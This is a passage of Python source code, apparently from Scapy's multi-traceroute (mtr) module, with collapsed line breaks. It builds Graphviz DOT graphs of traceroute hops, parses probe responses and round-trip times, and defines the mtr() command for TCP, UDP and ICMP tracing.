ep[(k, v[4], v[5])].append(v[0]) # Append additional trace IDs # # Combine Endpoint services... # k v v # k sv0 sv1 sv2 sv0 sv1 sv2 # Ex epip = {'206.111.13.58': [('T8|T10', 'https', 'SA'), ('T7|T6', 'http', 'SA')]} epip = {} # epip -> Combined Endpoint services label for a given IP for k, v in ep.items(): tr = '' for t in range(1, len(v)): if tr == '': tr += '{ts:s}'.format(ts=v[t]) else: tr += '|{ts:s}'.format(ts=v[t]) p = k[2] if p == '': # Use port number not name if resolved p = str(k[1]) else: p += '(' + str(k[1]) + ')' # Use both name and port if k[0] in epip: epip[k[0]].append((tr, p, v[0])) else: epip[k[0]] = [(tr, p, v[0])] # # Build Endpoint strings... # Ex eps = '162.144.22.87" [shape=record,color="black",gradientangle=270,fillcolor="darkgreen:green",style=i"filled,rounded",' # + 'label="162.144.22.87\nTarget|{{T1|T3}|https SA}|{{T4|T4}|http SA}"];' for k, v in epip.items(): tr = '' for sv in v: if self._netprotocol == 'ICMP': ps = 'ICMP(0) echo-reply' else: ps = '{p:s} {f:s}'.format(p=sv[1], f=sv[2]) if tr == '': tr += '{{{{{t:s}}}|{ps:s}}}'.format(t=sv[0], ps=ps) else: tr += '|{{{{{t:s}}}|{ps:s}}}'.format(t=sv[0], ps=ps) pre = '' if k in uepprb: # Special Case: Separate Endpoint Target from Probe pre = '_' # when they are the same eps1 = '\t"{pre:s}{ip:s}" [shape="record",color="black",gradientangle=270,fillcolor="darkgreen:green",style="filled,rounded",'.format(pre=pre, ip=k) eps2 = 'label="Resolved Target\\n{ip:s}|{tr:s}",tooltip="MTR Resolved Target: {ip:s}"];\n'.format(ip=k, tr=tr) s += eps1 + eps2 # # Blackholes... # # ***Note: Order matters: If a hop is both a Blackhole on one trace and # a ICMP destination unreachable hop on another, # it will appear in the dot file as two nodes in # both sections. The ICMP destination unreachable # hop node will take precedents and appear only # since it is defined last. s += "\n\t### Blackholes ###\n" bhhops = [] for d in self._tlblid: # k v0 v1 v2 v3 v4 v5 v6 v7 for k, v in d.items(): # Ex: k: 162.144.22.87 v: ('T1', '10.222.222.10', '162.144.22.87', 'tcp', 5555, '', 'BH', 'I3') if v[6] == 'BH': # Blackhole detection # # If both a target blackhole and an ICMP packet hop, then skip creating this # node we be created in the 'ICMP Destination Unreachable Hops' section. if v[7] != 'I3': # ICMP destination not reached detection nd = '{b:s} {prt:d}/{pro:s}'.format(b=v[2], prt=v[4], pro=v[3]) if self._netprotocol == 'ICMP': bhh = '{b:s}
ICMP(0) echo-reply'.format(b=v[2]) else: bhh = nd # # If not already added... if bhh not in bhhops: lb = 'label=<{lh:s}
Failed Target>'.format(lh=bhh) s += '\t"{bh:s}" [{l:s},shape="doubleoctagon",color="black",gradientangle=270,fillcolor="white:red",style="filled,rounded",tooltip="Failed MTR Resolved Target: {b:s}"];\n'.format(bh=nd, l=lb, b=v[2]) bhhops.append(bhh) # # ICMP Destination Unreachable Hops... s += "\n\t### ICMP Destination Unreachable Hops ###\n" for d in self._ports: for p in self._ports[d]: if d in self._exptrg: # # Create Node: Target same as node that returns an ICMP packet... if p.find('ICMP dest-unreach') >= 0: unreach = 'ICMP(3): Destination' # 0 1 2 3 4 5 # Ex ICMP ports: ' ICMP dest-unreach port-unreachable 17 53' icmpparts = p.split(' ') if icmpparts[3] == 'network-unreachable': unreach += '/Network' elif icmpparts[3] == 'host-unreachable': unreach += '/Host' elif icmpparts[3] == 'protocol-unreachable': unreach += '/Protocol' elif icmpparts[3] == 'port-unreachable': unreach += '/Port' protoname = self.get_proto_name(icmpparts[4]) protoport = '{pr:s}/{pt:s}'.format(pr=icmpparts[5], pt=protoname) lb = 'label=<{lh:s} {pp:s}
{u:s} Unreachable
Failed Target>'.format(lh=d, pp=protoport, u=unreach) s += '\t"{lh:s} {pp:s}" [{lb:s},shape="doubleoctagon",color="black",gradientangle=270,fillcolor="yellow:red",style="filled,rounded",tooltip="{u:s} Unreachable, Failed Resolved Target: {lh:s} {pp:s}"];\n'.format(lb=lb, pp=protoport, lh=d, u=unreach) else: # # Create Node: Target not same as node that returns an ICMP packet... if p.find('ICMP dest-unreach') >= 0: unreach = 'ICMP(3): Destination' if p.find('network-unreachable') >= 0: unreach += '/Network' elif p.find('host-unreachable') >= 0: unreach += '/Host' elif p.find('protocol-unreachable') >= 0: unreach += '/Protocol' elif p.find('port-unreachable') >= 0: unreach += '/Port' lb = 'label=<{lh:s} 3/icmp
{u:s} Unreachable>'.format(lh=d, u=unreach) s += '\t"{lh:s} 3/icmp" [{lb:s},shape="doubleoctagon",color="black",gradientangle=270,fillcolor="white:yellow",style="filled,rounded",tooltip="{u:s} Unreachable, Hop Host: {lh:s}"];\n'.format(lb=lb, lh=d, u=unreach) # # Padding check... if self._graphpadding: s += "\n\t### Nodes With Padding ###\n" pad = {} for t in range(0, self._ntraces): for _, rcv in self._res[t]: if rcv.src not in self._ports and rcv.haslayer(conf.padding_layer): p = rcv.getlayer(conf.padding_layer).load if p != "\x00" * len(p): pad[rcv.src] = None for sr in pad: lb = 'label=<
{r:s}
Padding>'.format(r=sr) s += '\t"{r:s}" [{l:s},shape="box3d",color="black",gradientangle=270,fillcolor="white:red",style="filled,rounded"];\n'.format(r=sr, l=lb) # # Draw each trace (i.e., DOT edge) for each number of queries... s += "\n\t### Traces ###\n" t = 0 for q in range(0, self._ntraces): for rtk in self._rt[q]: s += "\t### T{tr:d} -> {r:s} ###\n".format(tr=(t + 1), r=repr(rtk)) col = next(forecolorlist) s += '\tedge [color="#{s0:s}{s1:s}{s2:s}"];\n'.format(s0=col[0], s1=col[1], s2=col[2]) # # Probe Begin Point (i.e., Begining of a trace)... for k, v in self._tlblid[t].items(): ptr = probe = v[1] s += '\t"{bp:s}":B{tr:s}:s -> '.format(bp=ptr, tr=v[0]) # # In between traces (i.e., Not at the begining or end of a trace)... trace = self._rt[q][rtk] tk = trace.keys() ntr = trace[min(tk)] # # Skip in between traces if there are none... if len(trace) > 1: lb = 'Trace: {tr:d}:{tn:d}, {lbp:s} -> {lbn:s}'.format(tr=(t + 1), tn=min(tk), lbp=ptr, lbn=ntr.replace('"', '')) if not 'Unk' in ntr: lb += ' (RTT: {prb:s} <-> {lbn:s} ({rtt:s}ms))'.format(prb=probe, lbn=ntr.replace('"', ''), rtt=self._rtt[t + 1][min(tk)]) if rtt: if not 'Unk' in ntr: llb = 'Trace: {tr:d}:{tn:d}, RTT: {prb:s} <-> {lbn:s} ({rtt:s}ms)'.format(tr=(t + 1), tn=min(tk), prb=probe, lbn=ntr.replace('"', ''), rtt=self._rtt[t + 1][min(tk)]) s += '{ntr:s} [label=<  {rtt:s}ms>,edgetooltip="{lb:s}",labeltooltip="{llb:s}"];\n'.format(ntr=ntr, rtt=self._rtt[t + 1][min(tk)], lb=lb, llb=llb) else: s += '{ntr:s} [edgetooltip="{lb:s}"];\n'.format(ntr=ntr, lb=lb) else: s += '{ntr:s} [edgetooltip="{lb:s}"];\n'.format(ntr=ntr, lb=lb) for n in range(min(tk) + 1, max(tk)): ptr = ntr ntr = trace[n] lb = 'Trace: {tr:d}:{tn:d}, {lbp:s} -> {lbn:s}'.format(tr=(t + 1), tn=n, lbp=ptr.replace('"', ''), lbn=ntr.replace('"', '')) if not 'Unk' in ntr: lb += ' (RTT: {prb:s} <-> {lbn:s} ({rtt:s}ms))'.format(prb=probe, lbn=ntr.replace('"', ''), rtt=self._rtt[t + 1][n]) if rtt: if not 'Unk' in ntr: llb = 'Trace: {tr:d}:{tn:d}, RTT: {prb:s} <-> {lbn:s} ({rtt:s}ms)'.format(tr=(t + 1), tn=n, prb=probe, lbn=ntr.replace('"', ''), rtt=self._rtt[t + 1][n]) # # Special check to see if the next and previous nodes are the same. # If yes use the DOT 'xlabel' attribute to spread out labels so that they # do not clash and 'forcelabel' so that they are placed. if ptr == ntr: s += '\t{ptr:s} -> {ntr:s} [xlabel=<  {rtt:s}ms>,forcelabel=True,edgetooltip="{lb:s}",labeltooltip="{llb:s}"];\n'.format(ptr=ptr, ntr=ntr, rtt=self._rtt[t + 1][n], lb=lb, llb=llb) else: s += '\t{ptr:s} -> {ntr:s} [label=<  {rtt:s}ms>,edgetooltip="{lb:s}",labeltooltip="{llb:s}"];\n'.format(ptr=ptr, ntr=ntr, rtt=self._rtt[t + 1][n], lb=lb, llb=llb) else: s += '\t{ptr:s} -> {ntr:s} [edgetooltip="{lb:s}"];\n'.format(ptr=ptr, ntr=ntr, lb=lb) else: s += '\t{ptr:s} -> {ntr:s} [edgetooltip="{lb:s}"];\n'.format(ptr=ptr, ntr=ntr, lb=lb) # # Enhance target Endpoint (i.e., End of a trace) replacement... for k, v in self._tlblid[t].items(): if v[6] == 'BH': # Blackhole detection - do not create Enhanced Endpoint # # Check for Last Hop / Backhole (Failed Target) match: lh = trace[max(tk)] lhicmp = False if lh.find(':I3') >= 0: # Is last hop and ICMP packet from target? lhicmp = True f = lh.find(' ') # Strip off 'port/proto' ''"100.41.207.244":I3' if f >= 0: lh = lh[0:f] f = lh.find(':') # Strip off 'proto:port' -> '"100.41.207.244 801/tcp"' if f >= 0: lh = lh[0:f] lh = lh.replace('"', '') # Remove surrounding double quotes ("") if k == lh: # Does Hop match final Target? # # Backhole last hop matched target: # # Check to skip in between traces... if len(trace) > 1: s += '\t{ptr:s} -> '.format(ptr=ntr) if lhicmp: # # Last hop is an ICMP packet from target and was reached... lb = 'Trace: {tr:d}:{tn:d}, {lbp:s} -> {lbn:s}'.format(tr=(t + 1), tn=max(tk), lbp=ntr.replace('"', ''), lbn=k) lb += ' (RTT: {prb:s} <-> {lbn:s} ({rtt:s}ms))'.format(prb=v[1], lbn=lh, rtt=self._rtt[t + 1][max(tk)]) if rtt: llb = 'Trace: {tr:d}:{tn:d}, RTT: {prb:s} <-> {lbn:s} ({rtt:s}ms)'.format(tr=(t + 1), tn=max(tk), prb=v[1], lbn=k, rtt=self._rtt[t + 1][max(tk)]) s += '"{bh:s} {bhp:d}/{bht:s}" [style="solid",label=<  {rtt:s}ms>,edgetooltip="{lb:s}",labeltooltip="{llb:s}"];\n'.format(bh=k, bhp=v[4], bht=v[3], rtt=self._rtt[t + 1][max(tk)], lb=lb, llb=llb) else: s += '"{bh:s} {bhp:d}/{bht:s}" [style="solid",edgetooltip="{lb:s}"];\n'.format(bh=k, bhp=v[4], bht=v[3], lb=lb) else: # # Last hop is not ICMP packet from target (Fake hop - never reached - use dashed trace)... lb = 'Trace: {tr:d} - Failed MTR Resolved Target: {bh:s} {bhp:d}/{bht:s}'.format(tr=(t + 1), bh=k, bhp=v[4], bht=v[3]) s += '"{bh:s} {bhp:d}/{bht:s}" [style="dashed",label=<  T{tr:d}>,edgetooltip="{lb:s}",labeltooltip="{lb:s}"];\n'.format(bh=k, bhp=v[4], bht=v[3], tr=(t + 1), lb=lb) else: # # Backhole not matched (Most likely: 'ICMP (3) destination-unreached' # but last hop not equal to the target: # # Add this last Hop (This Hop is not the Target)... # # Check to skip in between traces... if len(trace) > 1: s += '\t{ptr:s} -> '.format(ptr=ntr) lb = 'Trace: {tr:d}:{tn:d}, {lbp:s} -> {lbn:s}'.format(tr=(t + 1), tn=max(tk), lbp=ntr.replace('"', ''), lbn=lh) lb += ' (RTT: {prb:s} <-> {lbn:s} ({rtt:s}ms))'.format(prb=v[1], lbn=lh, rtt=self._rtt[t + 1][max(tk)]) llb = 'Trace: {tr:d}:{tn:d}, RTT: {prb:s} <-> {lbn:s} ({rtt:s}ms)'.format(tr=(t + 1), tn=max(tk), prb=v[1], lbn=lh, rtt=self._rtt[t + 1][max(tk)]) if rtt: s += '"{lh:s} 3/icmp" [style="solid",label=<  {rtt:s}ms>,edgetooltip="{lb:s}",labeltooltip="{llb:s}"];\n'.format(lh=lh, rtt=self._rtt[t + 1][max(tk)], lb=lb, llb=llb) else: s += '"{lh:s} 3/icmp" [style="solid",edgetooltip="{lb:s} 3/icmp",labeltooltip="{llb:s}"];\n'.format(lh=lh, lb=lb, llb=llb) # # Add the Failed Target (Blackhole - Fake hop - never reached - use dashed trace)... s += '\t"{lh:s} 3/icmp" -> '.format(lh=lh) lb = 'Trace: {tr:d} - Failed MTR Resolved Target: {bh:s} {bhp:d}/{bht:s}'.format(tr=(t + 1), bh=k, bhp=v[4], bht=v[3]) s += '"{bh:s} {bhp:d}/{bht:s}" [style="dashed",label=<  T{tr:d}>,edgetooltip="{lb:s}",labeltooltip="{llb:s}"];\n'.format(bh=k, bhp=v[4], bht=v[3], tr=(t + 1), lb=lb, llb=lb) else: # Enhanced Target Endpoint # # Check to skip in between traces... if len(trace) > 1: s += '\t{ptr:s} -> '.format(ptr=ntr) lb = 'Trace: {tr:d}:{tn:d}, {lbp:s} -> {lbn:s}'.format(tr=(t + 1), tn=max(tk), lbp=ntr.replace('"', ''), lbn=k) if not 'Unk' in k: lb += ' (RTT: {prb:s} <-> {lbn:s} ({rtt:s}ms))'.format(prb=v[1], lbn=k, rtt=self._rtt[t + 1][max(tk)]) pre = '' if k in uepprb: # Special Case: Distinguish the Endpoint Target from Probe pre = '_' # when they are the same using the underscore char: '_'. if rtt: if not 'Unk' in k: llb = 'Trace: {tr:d}:{tn:d}, RTT: {prb:s} <-> {lbn:s} ({rtt:s}ms)'.format(tr=(t + 1), tn=max(tk), prb=v[1], lbn=k, rtt=self._rtt[t + 1][max(tk)]) # # Check to remove label clashing... ntrs = ntr.replace('"', '') # Remove surrounding double quotes ("") if ntrs == k: s += '"{pre:s}{ep:s}":E{tr:s}:n [style="solid",xlabel=<  {rtt:s}ms>,forcelabel=True,edgetooltip="{lb:s}",labeltooltip="{llb:s}"];\n'.format(pre=pre, ep=k, tr=v[0], rtt=self._rtt[t + 1][max(tk)], lb=lb, llb=llb) else: s += '"{pre:s}{ep:s}":E{tr:s}:n [style="solid",label=<  {rtt:s}ms>,edgetooltip="{lb:s}",labeltooltip="{llb:s}"];\n'.format(pre=pre, ep=k, tr=v[0], rtt=self._rtt[t + 1][max(tk)], lb=lb, llb=llb) else: s += '"{pre:s}{ep:s}":E{tr:s}:n [style="solid",edgetooltip="{lb:s}"];\n'.format(pre=pre, ep=k, tr=v[0], lb=lb) else: s += '"{pre:s}{ep:s}":E{tr:s}:n [style="solid",edgetooltip="{lb:s}"];\n'.format(pre=pre, ep=k, tr=v[0], lb=lb) t += 1 # Next trace out of total traces # # Decorate Unknown ('Unkn') Nodes... s += "\n\t### Decoration For Unknown (Unkn) Node Hops ###\n" for u in self._unks: s += '\t{u:s} [tooltip="Trace: {t:s}, Unknown Hop: {u2:s}",shape="egg",fontname="Sans-Serif",fontsize=9,height=0.2,width=0.2,color="black",gradientangle=270,fillcolor="white:#d8d8d8",style="filled"];\n'.format(u=u, t=self._unks[u][2], u2=u.replace('"', '')) # # Create tooltip for standalone nodes... s += "\n\t### Tooltip for Standalone Node Hops ###\n" for k, v in self._ips.items(): if not k in cipall: if k != self._gw: if not k in cepipall: if not k in self._ports: found = False for tid in self._tlblid: if k in tid: found = True break if not found: s += '\t"{ip:s}" [tooltip="Hop Host: {ip:s}"];\n'.format(ip=k) # # End the DOT Digraph... s += "}\n" # # Store the DOT Digraph results... self._graphdef = s # # Graph the Multi-Traceroute... def graph(self, ASres=None, padding=0, vspread=0.75, title="Multi-Traceroute Probe (MTR)", timestamp="", rtt=1, **kargs): """x.graph(ASres=conf.AS_resolver, other args): ASres = None : Use AS default resolver => 'conf.AS_resolver' ASres = AS_resolver() : default whois AS resolver (riswhois.ripe.net) ASres = AS_resolver_cymru(): use whois.cymru.com whois database ASres = AS_resolver(server="whois.ra.net") padding: Show packets with padding as a red 3D-Box. vspread: Vertical separation between nodes on graph. title: Title text for the rendering graphic. timestamp: Title Time Stamp text to appear below the Title text. rtt: Display Round-Trip Times (msec) for Hops along trace edges. format: Output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option. figsize: w,h tuple in inches. See matplotlib documentation. target: filename. If None, uses matplotlib to display. prog: Which graphviz program to use.""" if self._asres is None: self._asres = conf.AS_resolver if (self._graphdef is None or # Remake the graph if there are any changes self._graphasres != self._asres or self._graphpadding != padding): self.make_dot_graph(ASres, padding, vspread, title, timestamp, rtt) return do_graph(self._graphdef, **kargs) ################################## # Multi-Traceroute Results Class # ################################## class MTracerouteResult(SndRcvList): def __init__(self, res=None, name="MTraceroute", stats=None): PacketList.__init__(self, res, name, stats, vector_index=1) def show(self, ntrace): return self.make_table(lambda s, r: (s.sprintf("Trace: " + str(ntrace) + " - %IP.dst%:{TCP:tcp%ir,TCP.dport%}{UDP:udp%ir,UDP.dport%}{ICMP:ICMP}"), s.ttl, r.sprintf("%-15s,IP.src% {TCP:%TCP.flags%}{ICMP:%ir,ICMP.type%}"))) # # Get trace components... # # mtrc - Instance of a MTRC class # # nq - Traceroute query number def get_trace_components(self, mtrc, nq): ips = {} rt = {} rtt = {} trtt = {} ports = {} portsdone = {} trgttl = {} if len(self.res) > 0: # # Responses found... for s, r in self.res: s = s.getlayer(IP) or (conf.ipv6_enabled and s[scapy.layers.inet6.IPv6]) or s r = r.getlayer(IP) or (conf.ipv6_enabled and r[scapy.layers.inet6.IPv6]) or r # # Make sure 'r.src' is an IP Address (e.g., Case where r.src = '24.97.150.188 80/tcp') rs = r.src.split() ips[rs[0]] = None if TCP in s: trace_id = (s.src, s.dst, 6, s.dport) elif UDP in s: trace_id = (s.src, s.dst, 17, s.dport) elif ICMP in s: trace_id = (s.src, s.dst, 1, s.type) else: trace_id = (s.src, s.dst, s.proto, 0) trace = rt.get(trace_id, {}) ttl = conf.ipv6_enabled and scapy.layers.inet6.IPv6 in s and s.hlim or s.ttl # # Check for packet response types: if not (ICMP in r and r[ICMP].type == 11) and not (conf.ipv6_enabled and scapy.layers.inet6.IPv6 in r and scapy.layers.inet6.ICMPv6TimeExceeded in r): # # Mostly: Process target reached or ICMP Unreachable... if trace_id in portsdone: # # Special check for out or order response packets: If previous trace was determined # done, but a ttl arrives with a lower value then process this response packet as the # final ttl target packet. if ttl >= trgttl[trace_id]: continue # Next Send/Receive packet else: # # Out of order response packet - process this packet as the possible # final ttl target packet. try: if trgttl[trace_id] in trace: del trace[trgttl[trace_id]] # Remove previous ttl target except: pass portsdone[trace_id] = None trgttl[trace_id] = ttl # Save potential target ttl packet p = ports.get(r.src, []) if TCP in r: p.append(r.sprintf(" %TCP.sport% %TCP.flags%")) trace[ttl] = r.sprintf('"%r,src%":T%ir,TCP.sport%') elif UDP in r: p.append(r.sprintf(" %UDP.sport%")) trace[ttl] = r.sprintf('"%r,src%":U%ir,UDP.sport%') elif ICMP in r: if r[ICMP].type == 0: # # Process echo-reply... p.append(r.sprintf(" ICMP %ICMP.type%")) trace[ttl] = r.sprintf('"%r,src%":I%ir,ICMP.type%') else: # # Format Ex: ' ICMP dest-unreach port-unreachable 17 53' p.append(r.sprintf(" ICMP %ICMP.type% %ICMP.code% %ICMP.proto% %r,ICMP.dport%")) trace[ttl] = r.sprintf('"%r,src%":I%ir,ICMP.type%') else: p.append(r.sprintf("{IP: IP %proto%}{IPv6: IPv6 %nh%}")) trace[ttl] = r.sprintf('"%r,src%":{IP:P%ir,proto%}{IPv6:P%ir,nh%}') ports[r.src] = p else: # # Mostly ICMP Time-Exceeded packet - Save Hop Host IP Address... trace[ttl] = r.sprintf('"%r,src%"') rt[trace_id] = trace # # Compute the Round Trip Time for this trace packet in (msec)... rtrace = rtt.get(trace_id, {}) crtt = (r.time - s.sent_time) * 1000 rtrace[ttl] = "{crtt:.3f}".format(crtt=crtt) rtt[trace_id] = rtrace else: # # No Responses found - Most likely target same as host running the mtr session... # # Create a 'fake' failed target (Blackhole) trace using the destination host # found in unanswered packets... for p in mtrc._ures[nq]: ips[p.dst] = None trace_id = (p.src, p.dst, p.proto, p.dport) portsdone[trace_id] = None if trace_id not in rt: pt = mtrc.get_proto_name(p.proto) # # Set trace number to zero (0) (i.e., ttl = 0) for this special case: # target = mtr session host - 'fake' failed target... rt[trace_id] = {1: '"{ip:s} {pr:d}/{pt:s}"'.format(ip=p.dst, pr=p.dport, pt=pt)} # # Store each trace component... mtrc._ips.update(ips) # Add unique IP Addresses mtrc._rt.append(rt) # Append a new Traceroute mtrc._ports.update(ports) # Append completed Traceroute target and port info mtrc._portsdone.update(portsdone) # Append completed Traceroute with associated target and port # # Create Round Trip Times Trace lookup dictionary... tcnt = mtrc._tcnt for rttk in rtt: tcnt += 1 trtt[tcnt] = rtt[rttk] mtrc._rtt.update(trtt) # Update Round Trip Times for Trace Nodes # # Update the Target Trace Label IDs and Blackhole (Failed Target) detection... # # rtk0 rtk1 rtk2 rtk3 # Ex: {('10.222.222.10', '10.222.222.1', 6, 9980): {1: '"10.222.222.10":T9980'}} for rtk in rt: mtrc._tcnt += 1 # Compute the total trace count # # Derive flags from ports: # Ex: {'63.117.14.247': [' http SA', ' https SA']} prtflgs = ports.get(rtk[1], []) found = False for pf in prtflgs: if mtrc._netprotocol == 'ICMP': pat = '' # ICMP: Create reg exp pattern else: pat = '<[TU]{p:d}>'.format(p=rtk[3]) # TCP/UDP: Create reg exp pattern match = re.search(pat, pf) # Search for port match if match: found = True s = pf.split(' ') if len(s) == 3: pn = s[1] # Service Port name / ICMP fl = s[2] # TCP Flags / ICMP Type / Proto elif len(s) == 2: pn = s[1] # Service Port name fl = '' else: pn = '' fl = '' break ic = '' # ICMP Destination not reachable flag if not found: # Set Blackhole found - (fl -> 'BH') # # Set flag for last hop is a target and ICMP destination not reached flag set... trace = rt[rtk] tk = trace.keys() lh = trace[max(tk)] f = lh.find(':I3') # Is hop an ICMP destination not reached node? if f >= 0: lh = lh[0:f] # Strip off 'proto:port' -> '"100.41.207.244":I3' lh = lh.replace('"', '') # Remove surrounding double quotes ("") if lh in mtrc._exptrg: # Is last hop a target? ic = 'I3' pn = '' fl = 'BH' # # Update the Target Trace Label ID: # Ex: {'63.117.14.247': ('T2', '10.222.222.10', '162.144.22.87', 6, 443, 'https', 'SA', '')} pt = mtrc.get_proto_name(rtk[2]) tlid = {rtk[1]: ('T' + str(mtrc._tcnt), rtk[0], rtk[1], pt, rtk[3], pn, fl, ic)} mtrc._tlblid.append(tlid) #################### # Multi-Traceroute # #################### @conf.commands.register def mtr(target, dport=80, minttl=1, maxttl=30, stype="Random", srcport=50000, iface=None, l4=None, filter=None, timeout=2, verbose=None, gw=None, netproto="TCP", nquery=1, ptype=None, payload=b'', privaddr=0, rasn=1, **kargs): """A Multi-Traceroute (mtr) command: mtr(target, [maxttl=30,] [dport=80,] [sport=80,] [minttl=1,] [maxttl=1,] [iface=None] [l4=None,] [filter=None,] [nquery=1,] [privaddr=0,] [rasn=1,] [verbose=conf.verb]) stype: Source Port Type: "Random" or "Increment". srcport: Source Port. Default: 50000. gw: IPv4 Address of the Default Gateway. netproto: Network Protocol (One of: "TCP", "UDP" or "ICMP"). nquery: Number of Traceroute queries to perform. ptype: Payload Type: "Disable", "RandStr", "RandStrTerm" or "Custom". payload: A byte object for each packet payload (e.g., b'\x01A\x0f\xff\x00') for ptype: 'Custom'. privaddr: 0 - Default: Normal display of all resolved AS numbers. 1 - Do not show an associated AS Number bound box (cluster) on graph for a private IPv4 Address. rasn: 0 - Do not resolve AS Numbers - No graph clustering. 1 - Default: Resolve all AS numbers.""" # # Initialize vars... trace = [] # Individual trace array # # Range check number of query traces if nquery < 1: nquery = 1 # # Create instance of an MTR class... mtrc = MTR(nquery=nquery, target=target) # # Default to network protocol: "TCP" if not found in list... plist = ["TCP", "UDP", "ICMP"] netproto = netproto.upper() if netproto not in plist: netproto = "TCP" mtrc._netprotocol = netproto # # Default to source type: "Random" if not found in list... slist = ["Random", "Increment"] stype = stype.title() if stype not in slist: stype = "Random" if stype == "Random": sport = RandShort() # Random elif stype == "Increment": if srcport != None: sport = IncrementalValue(start=(srcport - 1), step=1, restart=65535) # Increment # # Default to payload type to it's default network protocol value if not found in list... pllist = ["Disabled", "RandStr", "RandStrTerm", "Custom"] if ptype is None or (not ptype in pllist): if netproto == "ICMP": ptype = "RandStr" # ICMP: A random string payload to fill out the minimum packet size elif netproto == "UDP": ptype = "RandStrTerm" # UDP: A random string terminated payload to fill out the minimum packet size elif netproto == "TCP": ptype = "Disabled" # TCP: Disabled -> The minimum packet size satisfied - no payload required # # Set trace interface... if not iface is None: mtrc._iface = iface else: mtrc._iface = conf.iface # # Set Default Gateway... if not gw is None: mtrc._gw = gw # # Set default verbosity if no override... if verbose is None: verbose = conf.verb # # Only consider ICMP error packets and TCP packets with at # least the ACK flag set *and* either the SYN or the RST flag set... filterundefined = False if filter is None: filterundefined = True filter = "(icmp and (icmp[0]=3 or icmp[0]=4 or icmp[0]=5 or icmp[0]=11 or icmp[0]=12)) or (tcp and (tcp[13] & 0x16 > 0x10))" # # Resolve and expand each target... ntraces = 0 # Total trace count exptrg = [] # Expanded targets for t in target: # # Use scapy's 'Net' function to expand target... et = [ip for ip in iter(Net(t))] exptrg.extend(et) # # Map Host Names to IP Addresses and store... if t in mtrc._host2ip: mtrc._host2ip[t].extend(et) else: mtrc._host2ip[t] = et # # Map IP Addresses to Host Names and store... for a in et: mtrc._ip2host[a] = t # # Store resolved and expanded targets... mtrc._exptrg = exptrg # # Traceroute each expanded target value... if l4 is None: # # Standard Layer: 3 ('TCP', 'UDP' or 'ICMP') tracing... for n in range(0, nquery): for t in exptrg: # # Execute a traceroute based on network protocol setting... if netproto == "ICMP": # # MTR Network Protocol: 'ICMP' tid = 8 # Use a 'Type: 8 - Echo Request' packet for the trace: id = 0x8888 # MTR ICMP identifier: '0x8888' seq = IncrementalValue(start=(minttl - 2), step=1, restart=-10) # Use a Sequence number in step with TTL value if filterundefined: # # Update Filter -> Allow for ICMP echo-request (8) and ICMP echo-reply (0) packet to be processed... filter = "(icmp and (icmp[0]=8 or icmp[0]=0 or icmp[0]=3 or icmp[0]=4 or icmp[0]=5 or icmp[0]=11 or icmp[0]=12))" # # Check payload types: if ptype == 'Disabled': a, b = sr(IP(dst=[t], id=RandShort(), ttl=(minttl, maxttl)) / ICMP(type=tid, id=id, seq=seq), timeout=timeout, filter=filter, verbose=verbose, **kargs) else: if ptype == 'RandStr': # # Use a random payload string to full out a minimum size PDU of 46 bytes for each ICMP packet: # Length of 'IP()/ICMP()' = 28, Minimum Protocol Data Unit (PDU) is = 46 -> Therefore a # payload of 18 octets is required. pload = RandString(size=18) elif ptype == 'RandStrTerm': pload = RandStringTerm(size=17, term=b'\n') # Random string terminated elif ptype == 'Custom': pload = payload # # ICMP trace with payload... a, b = sr(IP(dst=[t], id=RandShort(), ttl=(minttl, maxttl)) / ICMP(type=tid, id=id, seq=seq) / Raw(load=pload), timeout=timeout, filter=filter, verbose=verbose, **kargs) elif netproto == "UDP": # # MTR Network Protocol: 'UDP' if filterundefined: filter += " or udp" # Update Filter -> Allow for processing UDP packets # # Check payload types: if ptype == 'Disabled': a, b = sr(IP(dst=[t], id=RandShort(), ttl=(minttl, maxttl)) / UDP(sport=sport, dport=dport), timeout=timeout, filter=filter, verbose=verbose, **kargs) else: if ptype == 'RandStr': # # Use a random payload string to full out a minimum size PDU of 46 bytes for each UDP packet: # Length of 'IP()/UDP()' = 28, Minimum PDU is = 46 -> Therefore a payload of 18 octets is required. pload = RandString(size=18) elif ptype == 'RandStrTerm': pload = RandStringTerm(size=17, term=b'\n') # Random string terminated elif ptype == 'Custom': pload = payload # # UDP trace with payload... a, b = sr(IP(dst=[t], id=RandShort(), ttl=(minttl, maxttl)) / UDP(sport=sport, dport=dport) / Raw(load=pload), timeout=timeout, filter=filter, verbose=verbose, **kargs) else: # # Default MTR Network Protocol: 'TCP' # # Use some TCP options for the trace. Some firewalls will filter # TCP/IP packets without the 'Timestamp' option set. # # Note: The minimum PDU size of 46 is statisfied with the use of TCP options. # # Use an integer encoded microsecond timestamp for the TCP option timestamp for each trace sequence. uts = IntAutoMicroTime() opts = [('MSS', 1460), ('NOP', None), ('NOP', None), ('Timestamp', (uts, 0)), ('NOP', None), ('WScale', 7)] seq = RandInt() # Use a random TCP sequence number # # Check payload types: if ptype == 'Disabled': a, b = sr(IP(dst=[t], id=RandShort(), ttl=(minttl, maxttl)) / TCP(seq=seq, sport=sport, dport=dport, options=opts), timeout=timeout, filter=filter, verbose=verbose, **kargs) else: if ptype == 'RandStr': pload = RandString(size=32) # Use a 32 byte random string elif ptype == 'RandStrTerm': pload = RandStringTerm(size=32, term=b'\n') # Use a 32 byte random string terminated elif ptype == 'Custom': pload = payload # # TCP trace with payload... a, b = sr(IP(dst=[t], id=RandShort(), ttl=(minttl, maxttl)) / TCP(seq=seq, sport=sport, dport=dport, options=opts) / Raw(load=pload), timeout=timeout, filter=filter, verbose=verbose, **kargs) # # Create an 'MTracerouteResult' instance for each result packets... trace.append(MTracerouteResult(res=a.res)) mtrc._res.append(a) # Store Response packets mtrc._ures.append(b) # Store Unresponse packets if verbose: trace[ntraces].show(ntrace=(ntraces + 1)) print() ntraces += 1 else: # # Custom Layer: 4 tracing... filter = "ip" for n in range(0, nquery): for t in exptrg: # # Run traceroute... a, b = sr(IP(dst=[t], id=RandShort(), ttl=(minttl, maxttl)) / l4, timeout=timeout, filter=filter, verbose=verbose, **kargs) trace.append(MTracerouteResult(res=a.res)) mtrc._res.append(a) mtrc._ures.append(b) if verbose: trace[ntraces].show(ntrace=(ntraces + 1)) print() ntraces += 1 # # Store total trace run count... mtrc._ntraces = ntraces # # Get the trace components... # for n in range(0, ntraces): for n in range(0, mtrc._ntraces): trace[n].get_trace_components(mtrc, n) # # Compute any Black Holes... mtrc.get_black_holes() # # Compute Trace Hop Ranges... mtrc.compute_hop_ranges() # # Resolve AS Numbers... if rasn: mtrc.get_asns(privaddr) # # Try to guess ASNs for Traceroute 